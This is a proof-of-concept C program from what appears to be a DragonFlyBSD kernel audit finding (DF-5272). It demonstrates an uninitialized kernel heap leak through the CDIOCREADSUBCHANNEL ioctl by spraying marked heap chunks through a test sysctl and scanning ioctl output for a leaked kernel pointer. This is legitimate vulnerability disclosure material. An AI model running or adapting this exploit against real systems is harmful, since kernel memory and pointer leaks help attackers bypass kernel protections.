⬢ DragonFlyBSD Kernel Audit
DF-5272 / poc_leak.c
← back to finding ↓ download raw
/* DF-5272 PoC: CDIOCREADSUBCHANNEL uninitialized kernel heap disclosure.
 *
 * The evil device completes READ SUBCHANNEL with a 4-byte short transfer
 * while its header claims data_len = 0x0014, so cd(4) copyouts 24 bytes
 * of which the last 20 were never initialized (kmalloc without M_ZERO).
 * The KLD pre-freed 24B heap chunks filled with 0xDEAD... markers, a
 * kernel pointer and 0x55 fill; any of those bytes appearing in the
 * copyout proves the leak.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/cdio.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

static int mark_mode = 0;

static void
do_mark(void)
{
	int v = 1;
	size_t l = sizeof(v);

	if (!mark_mode)
		return;
	/* in-process sysctl (no fork/exec): alloc+mark+kfree 1024 x 24B
	 * chunks AFTER the previous ioctl freed its buffer, so the next
	 * kmalloc(24) pops a marked chunk (allocator is LIFO) */
	sysctlbyname("debug.evilcd.spray_leak", &v, NULL, &l, sizeof(int));
}

int
main(int argc, char **argv)
{
	const char *dev = argv[1] ? argv[1] : "/dev/cd1";
	struct ioc_read_subchannel args;
	struct cd_sub_channel_info info;
	int fd, i, j, hits = 0, kptr = 0;
	unsigned long leakptr = 0;

	if (argc > 2)
		leakptr = strtoul(argv[2], NULL, 0);
	if (argc > 3)
		mark_mode = 1;

	fd = open(dev, O_RDONLY);
	if (fd < 0) {
		perror(dev);
		exit(1);
	}

	memset(&args, 0, sizeof(args));
	args.address_format = CD_MSF_FORMAT;
	args.data_format = CD_CURRENT_POSITION;
	args.track = 0;
	args.data_len = sizeof(info);
	args.data = &info;

	for (i = 0; i < 64; i++) {
		memset(&info, 0xEE, sizeof(info));
		do_mark();
		if (ioctl(fd, CDIOCREADSUBCHANNEL, &args) < 0) {
			perror("CDIOCREADSUBCHANNEL");
			exit(1);
		}
		/* bytes [4..23] must never contain heap remnants */
		for (j = 4; j < 24; j++)
			if (((u_int8_t *)&info)[j] != 0xEE)
				break;
		if (j < 24) {
			hits++;
			printf("[poc] run %2d: bytes[0..23]  = ", i);
			for (j = 0; j < 24; j++)
				printf("%02x", ((u_int8_t *)&info)[j]);
			printf("\n[poc]        uninit[4..23] = ");
			for (j = 4; j < 24; j++) {
				u_int8_t c = ((u_int8_t *)&info)[j];
				printf("%c", (c >= 0x20 && c < 0x7f) ? c : '.');
			}
			printf("\n");
			/* look for the kernel pointer marker */
			{
				u_int8_t *p = (u_int8_t *)&info;
				for (j = 4; j <= 24 - 8; j++) {
					unsigned long v = 0;
					int k;
					for (k = 7; k >= 0; k--)
						v = (v << 8) | p[j+k];
					if (leakptr && v == leakptr) {
						kptr = 1;
						printf("[poc]   -> KERNEL POINTER "
						    "%p leaked at +%d\n",
						    (void *)v, j);
					}
				}
			}
		}
	}
	printf("[poc] %d/64 runs leaked non-zero heap bytes; "
	    "kernel-pointer marker seen: %d\n", hits, kptr);
	close(fd);
	return (0);
}